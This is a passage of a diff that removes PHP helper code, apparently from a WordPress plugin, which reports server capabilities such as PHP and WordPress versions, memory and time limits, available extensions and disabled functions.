- if( ini_get('memory_limit') == $newMemoryLimit ){
203
- $upMemoryLimit = 1;
204
- $maxMemoryLimit = ini_get('memory_limit');
205
- }
206
- $extensions_search = array('curl', 'json', 'mysqli', 'sockets', 'zip', 'ftp');
207
- $disabledFunctions_search = array('set_time_limit', 'curl_init', 'fsockopen', 'ftp_connect');
208
-
209
- $ex = check_function($extensions, $extensions_search);
210
- $func = check_function($disabledFunctions, $disabledFunctions_search, true);
211
-
212
- return array('wp_version' => $wp_version, 'php_verion' => phpversion(),
213
- 'maxExecutionTime' => $maxExecutionTime, 'maxMemoryLimit' => $maxMemoryLimit,
214
- 'extensions' => $extensions, 'disabledFunctions' => $disabledFunctions,
215
- 'mysqlVersion' => $mysqlVersion, 'upMaxExecutionTime' => $upMaxExecutionTime,
216
- 'newMaxExecutionTime' => $newMaxExecutionTime, 'upMemoryLimit' => $upMemoryLimit,
217
- 'newMemoryLimit' => $newMaxExecutionTime, 'maxMemoryLimit' => $maxMemoryLimit,
218
- 'ex' => $ex, 'func' => $func, 'wp_lang' => get_option('WPLANG'),
219
- );
220
-
221
- }
222
- }
223
- if (! function_exists('check_function')) {
224
- function check_function($func, $search, $type = false)
225
- {
226
- if (is_string($func)) {
227
- $func = explode(", ", $func);
228
- }
229
- if (is_string($search)) {
230
- $search = explode(", ", $search);
231
- }
232
- $res = false;
233
- $n = count($search);
234
- for($i = 0; $i < $n; $i++) {
235
- if (in_array($search[$i], $func) === $type) {
236
- $res[] = $search[$i];
237
- }
238
- }
239
- return $res;
240
- }
241
- }
242
-
243
- if (! function_exists('check_version')) {
244
- function check_version($ver, $ver2)
245
- {
246
- return version_compare($ver, $ver2, ">");
247
- }
248
- }
249
-